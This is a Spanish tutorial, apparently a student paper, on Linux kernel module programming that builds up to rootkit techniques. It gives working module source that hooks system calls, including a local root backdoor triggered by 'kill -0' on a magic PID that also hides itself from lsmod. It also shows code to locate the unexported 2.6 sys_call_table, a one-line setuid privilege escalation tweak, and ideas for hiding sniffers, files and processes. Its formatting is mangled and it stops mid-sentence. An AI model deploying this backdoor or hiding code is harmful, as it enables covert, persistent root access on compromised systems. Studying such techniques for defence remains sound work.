En primer lugar tenemos que declarar ciertas macros e incluir unos ficheros concretos sino el programa no compilaraacute debidamente ya que lo que estamos compilando es un moacutedulo que seraacute insertado en el Kernel de esas tres macros que son MODULE_PARM MODULE_AUTHOR y MODULE_LICENSE la uacutenica que merece una explicacioacuten es MODULE_PARM ya que nos permite pasar paraacutemetros al moacutedulo estos paraacutemetros pueden ser de tipo i (int) o bien h (short) s (string) l (long) etc Supongo que el ejemplo ilustra como son pasados los paraacutemetros por lo que no nos entretendremos maacutes con eso

Luego tenemos dos rutinas que son init_module() y cleanup_module() la primera se ejecuta al cargar el moacutedulo y la segunda es una rutina de supresioacuten con descarga Otra cosa a destacar es que no usamos printf() para imprimir mensajes sino que usamos printk() puesto que estamos trabajando dentro del espacio del nuacutecleo y a maacutes bajo nivel

Acabo de decir que usamos printk para imprimir mensajes el caso es que los LKMs no pueden imprimir directamente en pantalla salvo que hagamos algo para que eso ocurra iquestentonces queacute pasa Lo que pasa es que son registrados por el Syslog del sistema manera que si puedes echar un vistazo al terminal del Syslog

Se podraacuten ir viendo los mensajes logueados y registrados en varlogmessages

Kernel hacks y seguridad JMP

4- Sys_call_table[] en kernels 22 y 24

Ha llegado el momento en el que necesitamos tirar de las llamadas al sistema (syscalls) para nuestras intenciones de manera que las vamos a declarar en nuestro moacutedulo

extern void sys_call_table[]

Con eso ya es posible acceder al vector que sirve de contenedor para saber doacutende tenemos que saltar en la memoria al realizar llamada Nadie dice que no podamos usar nosotros ese vector y enganchar (hook) literalmente una rutina que se ejecutariacutea en lugar de la supuesta syscall a la que se llamo -)

Listado 3

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxversionhgt 5 include ltlinuxkernelhgt 6 include ltlinuxmodulehgt 7 extern void sys_call_table[] 8 long ( hook_chmod)(const char fichero) 9 10 long mi_chmod(const char fichero) 11 printk([] CHMOD inhibidon) 12 return 0 13 14 15 16 int init_module() 17 printk(LKM Listo y funcionandon) 18 hook_chmod=sys_call_table[__NR_chmod] 19 sys_call_table[__NR_chmod]=mi_chmod 20 printk(SYS_chmod 0xpnhook_chmod) 21 return 0 22 23 24 25 int cleanup_module() 26 printk(Descargandon) 27 sys_call_table[__NR_chmod]=(void )hook_chmod 28 29 30 MODULE_LICENSE(GPL) 31 MODULE_AUTHOR(Jose Miguel Porcel G) 32 MODULE_DESCRIPTION(Ejemplo de hook anula chmod)

Si ahora un usuario intenta hacer chmod para modificar los atributos de un fichero por ejemplo chmod a+rx fichero podraacute observar como no surge ninguacuten tipo de efecto no se procesa la verdadera syscall de chmod sino la suplantada y por tanto se mostraraacute el mensaje por pantalla indicando el evento

El funcionmiento se explica a continuacioacuten

Kernel hacks y seguridad JMP

Resulta que he creado un puntero a una funcioacuten (man chmod) de manera que al inicializar el LKM he guardado en hook_chmod la direccioacuten de la syscall __NR_chmod original dentro del vector con el fin de poder restaurarla al descargar el moacutedulo (queremos seguir usando el verdadero chmod despueacutes de jugar P) y a continuacioacuten hemos redireccionado __NR_chmod a la direccioacuten de memoria donde tenemos nuestra funcioacuten (mi_chmod) de manera que cuando el sistema accede a __NR_chmod procesaraacute la rutina mi_chmod en lugar de la verdadera funcioacuten chmod de ahiacute que no tenga efecto el comando chmod mientras tengas el LKM cargado

iquestDe doacutende se sacan los nombres de las syscalls Basta con mirar ltasmunistdhgt

$cat usrsrclinuxincludelinuxasmunistdh|less

Alliacute encontramos parejas de syscalls y nuacutemero identificador chmod es la 15 en mis fuentes Si ademaacutes tienes algo maacutes de tiempo yo sugiero echar otro vistazo a usrsrclinuxincludelinuxsyscallsh

Si podemos referirnos a las syscalls con __NR_ es porque usamos ltasmunistdhgt

Ahora muestro otro listado para ilustrar como podemos reservar y liberar memoria en el espacio del kernel mediante kmalloc() y kfree() asiacute como la manera de pasar datos desde el espacio de usuario a la memoria del nuacutecleo y al reveacutes gracias a las funciones __generic_copy_from_user y __generic_copy_to_user respectivamente memset se utiliza para llenar la memoria con un byte constante y GFP_KERNEL indica el tipo de asignacioacuten de memoria para el nuacutecleo

Lo que hace es simplemente manipular la syscall rename para que siempre se renombre por jmphack al hacer mv origen destino hay que procurar no sobrescribir ficheros y descargar el moacutedulo cuando se haya visto que funciona usando rmmod

La nueva cabecera antildeadida aquiacute para los tratamientos mencionados justo arriba viene a ser ltlinuxmmhgt

1 define MODULE 2 define __KERNEL__ 3 include ltlinuxversionhgt 4 include ltlinuxkernelhgt 5 include ltasmunistdhgt 6 include ltlinuxmodulehgt 7 include ltlinuxmmhgt

sigue listado 4

Kernel hacks y seguridad JMP

continuando listado 4

8 extern void sys_call_table[] 9 int (hook_mv)(const char desde const char hasta) 10 11 int mi_mv(const char desde const char hasta) 12 char kbuff1=(char )kmalloc(strlen(desde)+1 GFP_KERNEL) 13 memset(kbuff1 0 strlen(desde)+1) 14 importante no dejarnos el +1 del final sino la liamos 15 __generic_copy_from_user(kbuff1 desde strlen(desde)+1) 16 __generic_copy_to_user(hastajmphack) 17 kfree(kbuff1) 18 return((hook_mv)(desde hasta)) 19 20 21 int init_module() 22 printk(LKM cargadon) 23 hook_mv=sys_call_table[__NR_rename] 24 sys_call_table[__NR_rename]=mi_mv 25 return(0) 26 27 28 void cleanup_module() 29 printk(LKM descargadon) 30 sys_call_table[__NR_rename]=hook_mv 31 32 MODULE_LICENSE(GPL) 33 MODULE_AUTHOR(Jose Miguel Porcel G) 34 MODULE_DESCRIPTION(Hook a rename())

Hasta el momento todos los ejemplos que estoy poniendo tienen una utilidad bastante absurda (son para explicar algunas cosas) pero uno se puede dar cuenta de la potencia de un LKM de cara a su uso en sistemas comprometidos no resulta complicado averiguar como trabaja el sistema con los procesos los ficheros y demaacutes para poder - por ejemplo - ocultar un fichero o incluso el propio moacutedulo en la memoria todo esto y algo maacutes lo vemos a continuacioacuten

Kernel hacks y seguridad JMP

5- Protegiendo el UID 0

Tendiendo en cuenta todo lo explicado por el momento en este texto y lo visto en la asignatura de sistemas operativos hasta ahora sabemos que el uid0 se corresponde al id de root (usuario privilegiado) y que al explotar ciertas vulnerabilidades es necesario en algunos casos usar setuid() para establecer privilegios de root En el siguiente coacutedigo se ilustra como evitar que se use setuid(0) por usuarios distintos a root todo debidamente monitoreado esto permite en ciertos casos sumar un punto a la seguridad del sistema

Cabe destacar que el LKM que se muestra es para la serie 24 y habraacute que adaptarlo despueacutes para la serie 26 no obstante solamente habraacute que esperar un poco antes de ver eso

1 define MODULE 2 define __KERNEL__ 3 include ltasmunistdhgt 4 include ltlinuxschedhgt 5 include ltlinuxversionhgt 6 include ltlinuxkernelhgt 7 include ltlinuxmodulehgt 8 extern void sys_call_table[] 9 long ( hook_suid)(uid_t uid) 10 11 long nosuid(uid_t uid) 12 13 int res 14 if (current-gtuid ampamp uid) 15 printk([ALERTA] Ejecutado setuid 0 desde un usuario no rootn) 16 printk(info PID(i) PGRP(i) EUID (i i) =gt i

[DENEGADO]n17 current-gtpid 18 current-gtpgrp 19 current-gteuid 20 current-gtuid 21 uid) 22 res=( hook_suid)(current-gtuid) 23 24 res=( hook_suid)(uid) 25 26 int init_module() 27 printk(LKM Listo y funcionandon) 28 hook_suid=sys_call_table[__NR_setuid32] 29 sys_call_table[__NR_setuid32]=nosuid 30 return 0 31 32 33 int cleanup_module() 34 printk(Descargandon) 35 sys_call_table[__NR_setuid32]=hook_suid 36 37 MODULE_LICENSE(GPL) 38 MODULE_AUTHOR(Jose Miguel Porcel G) 39 MODULE_DESCRIPTION(Controla setuid 0)

Kernel hacks y seguridad JMP

Insertamos el moacutedulo y probamos

root su linux linux$ su root linux$ tail varlogmessages

La novedad en el coacutedigo anterior es en primer lugar que el coacutedigo es ligeramente maacutes uacutetil P y luego que he usado current para referirnos a nosotros mismos es decir al proceso en ejecucioacuten en un instante determinado es por eso que he incluido ltlinuxschedhgt Si miramos ahiacute dentro tenemos una gran estructura task_struct que caracteriza a un proceso no la muestro aquiacute porque es un poco grande como para reproducirla ahora

Modificando el coacutedigo anterior ligeramente justo en la liacutenea 22 por

res=( hook_suid)(0)

hacemos que un usuario no privilegiado pase a elevar sus privilegios sin maacutes

En el siguiente apartado hacemos algo maacutes serio se trata de un backdoor para los nuacutecleos de la serie 24 y que luego adaptareacute tambieacuten a la serie 26 con todo lo que eso conlleva Para ello vamos a manipular la syscall SYS_KILL creando un nuevo ldquosignalrdquo que seraacute muy especial -)

Otra utilidad para SYS_KILL seriacutea evitar que usuarios sin privilegios puedan matar procesos ajenos o incluso podemos proteger procesos de sentildeales (como kill -9) frente a cualquier usuario privilegiado o no

Kernel hacks y seguridad JMP

6- Backdoor local para kernels 24x

Con todo lo visto en los coacutedigos de arriba estaacute totalmente tirado hacer una puerta trasera en el sistema para asegurarnos privilegios de root de hecho un LKM es una forma muy elegante de hacerlo

En el siguiente listado veremos un moacutedulo que daraacute privilegios efectivos de root (euid=0) al user que intente mandar la sentildeal -0 mediante kill a un proceso con un pid determinado por COOLPID - aquiacute con poco sentido poner 00000 = 0 - bastaraacute con ejecutar lo siguiente

linux$ kill -0 00000 (al hacer id vemos que ocurre)

por supuesto no nos interesa que nadie sepa que tenemos un moacutedulo cargado (hacer lsmod y ver ldquobackdoorrdquo canta un poco) por lo que al inicializar la carga del mismo haremos que desaparezca el como lo explico a continuacioacuten despueacutes de mostrar un poco el coacutedigo que aunque estaacute claro que es infinitamente mejorable como ejemplo es perfecto

Kernel hacks y seguridad JMP

backdoor local 1 kernels 22 24 1 define __KERNEL__ 2 define MODULE 3 include ltlinuxkernelhgt 4 include ltlinuxversionhgt 5 include ltlinuxmodulehgt 6 include ltasmunistdhgt 7 include ltlinuxschedhgt 8 define COOLPID 00000 9 no queremos exportar los simbolos ) 10 EXPORT_NO_SYMBOLS 11 extern void sys_call_table[] 12 int (killsysc)(pid_t pidint sig) 13 nos da root si kill -0 COOLPID 14 int hook(pid_t pidint sig) 15 if (sig==0 ampamp pid== COOLPID) 16 current-gteuid=0 17 current-gtuid=0 18 19 return 0 20 21 carga 22 int init_module() 23 ocultamos el LKM 24 struct module yo = amp__this_module 25 secuestrado = NULL 26 secuestrado = yo-gtnext 27 no pudo ser 28 if (secuestrado) return -1 29 su DNI por favor 30 yo-gtname = secuestrado-gtname 31 yo-gtflags = secuestrado-gtflags 32 yo-gtsize = secuestrado-gtsize 33 yo-gtnext = secuestrado-gtnext 34 hook 35 killsysc=sys_call_table[__NR_kill] 36 sys_call_table[__NR_kill]=hook 37 return 0 38 39 descarga 40 int cleanup_module() 41 42 dejamos las cosas en orden 43 sys_call_table[__NR_kill]=killsysc 44 return 0 45 46 publicidad 47 MODULE_LICENSE(GPL) 48 MODULE_AUTHOR(Jose Miguel Porcel G) 49 MODULE_DESCRIPTION(backd00r local simple para 22x y 24x)

En primer lugar iquestqueacute es ese EXPORT_NO_SYMBOLS Resulta que al insertar el moacutedulo nuestras con nuestras funciones se exportan y asiacute los siacutembolos pueden ser usados por otros moacutedulos si ejecutas

$cat procksyms

Kernel hacks y seguridad JMP

Veraacutes la lista de siacutembolos exportado actualmente en el Kernel lo que puede ser bastante sospechoso para nuestro backdoor no cuesta nada NO exportar los siacutembolos mediante esa macro

Resulta interesante echar un vistazo a ltlinuxmodulehgt porque de ahiacute he sacado la informacioacuten para la estructura module que he utilizado ndash entre otras cosas- para ocultar el moacutedulo Como el Kernel guarda una lista simple enlazada con los moacutedulos cargados es muy faacutecil reajustar los punteros al moacutedulo siguiente para eliminar un elemento existente

Al insertar un nuevo moacutedulo eacuteste pasa a ser la referencia al inicio de la lista de manera que se complica el poder quitarnos a nosotros mismos del medio la solucioacuten como se puede ver no es compleja de entender lo que hacemos es coger el siguiente moacutedulo a nosotros en la lista obtener sus propiedades (las que lsmod muestra) y sacar al moacutedulo suplantado de la lista enlazada lo que no deshabilita el moacutedulo simplemente lo oculta se trata de un camuflaje simple pero funciona y eso es lo que vale

El resto del coacutedigo es lo que vengo haciendo hemos interceptado la syscall __NR_kill de manera que cada vez que se ejecute llama a hook (pid_tpid) que verifica si pid_t = 0 y pid = COOLPID si es asiacute establece los privilegios del proceso a uid =0 (root) y euid=0 la auteacutentica llamada a kill se omite

Ahora voy a tratar cosas maacutes serias al empezar con los moacutedulos para el kernel 26x los cambios no son muchos y es faacutecil una vez visto como se soluciona cierto asunto como podemos ajustar los moacutedulos anteriores para que funcionen en un nuevo Kernel de la serie 26

Kernel hacks y seguridad JMP

7- Moacutedulos para la serie 26 del nuacutecleo

Lo mejor para empezar es ver un listado de coacutedigo

Primer ejemplo de un LKM para la serie 26

1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)

Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor

KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt

No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas

Kernel hacks y seguridad JMP

Compilacioacuten de LKMs para la serie 26

En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea

obj-m = moduloo

Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar

Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente

root make -C usrsrclinux SUBDIRS=$PWD modules

Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod

8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x

Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo

Encontrando la Sys_call_table[]

Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave

Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema

Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT

Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa

Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario

Kernel hacks y seguridad JMP

Resumiendo

Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)

El hack

Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma

usrsrclinuxarchi386kernelentryS

Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo

system call handler stub

1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw

$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)

6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]

He omitido algunos comentario del fichero y demaacutes por brevedad

Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar

Esto es parte de su contenido

Kernel hacks y seguridad JMP

data ENTRY(sys_call_table)

long sys_restart_syscall 0 - old setup() system call

long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve

long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek

long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access

long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall

y continuacutea

used for restarting

5

10

15

old break syscall holder

20

25

30 old stty syscall holder old gtty syscall holder

35 - old ftime syscall holder

40

old prof syscall holder 45

50

recycled never used phys() old lock syscall holder

Kernel hacks y seguridad JMP

Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente

Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos

Procedo a usar GDB para desensamblar el fichero como muestro en la figura

Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table

Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump

objdump -d entryo|grep ff 14 85

Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos

El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero

Kernel hacks y seguridad JMP

Obtenemos la sys_call_table[] en kernels de la serie 26 test

include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct

unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2

__attribute__ ((packed)) idt

IDTR struct

unsigned short limit unsigned int base

__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)

return 0 el hack static void syscalltable(void)

unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))

printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]

memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn

verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))

i++ sys_call_table =(void) ((int ) ampsccall[i+3])

printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P

Kernel hacks y seguridad JMP

empieza static int __init buscarsct(void)

printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)

syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]

sys_call_table[__NR_getuid32]=cero_uidreturn 0

lo ponemos todo en orden static void __exit descarga(void)

sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)

module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])

Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores

81- Otra alternativa iquestmaacutes sencilla

Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos

No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno

La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora

Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos

usrsrclinuxincludeasm $ vim processorh

Kernel hacks y seguridad JMP

1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la

Sys_call_table[])

Kernel hacks y seguridad JMP

Imagen conceptual del proceso

Kernel hacks y seguridad JMP

9- Hooks y hacks de intereacutes (algunas ideas)

Algunas cosas que podemos hacer en el Kernel

Ocultar un sniffer

Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos

Ocultar ficheros y procesos

iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )

Manipular execve()

Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno

usrsrclinuxincludeasm $ vim unistdh

En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute

Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original

Kernel hacks y seguridad JMP

inicio

int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)

0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))

__syscall_return(long__res)

final

Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM

10- Rootkits visioacuten general

Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host

Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red

De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas

Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute

Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros

Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad

Kernel hacks y seguridad JMP

Ejemplo de un rootkit moderno ldquoAdore-ngrdquo

Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso

Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente

Runs on kernel 24x UP and SMP systems

First test-versions successfully run on 260

File and directory hiding

Process hiding

Socket-hiding (no matter whether LISTENing CONNECTED etc)

Full-capability back door

Does not utilize sys_call_table but VFS layer

KISS principle to have as less things in there as possible but also being as much powerful as possible

Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y

Kernel hacks y seguridad JMP

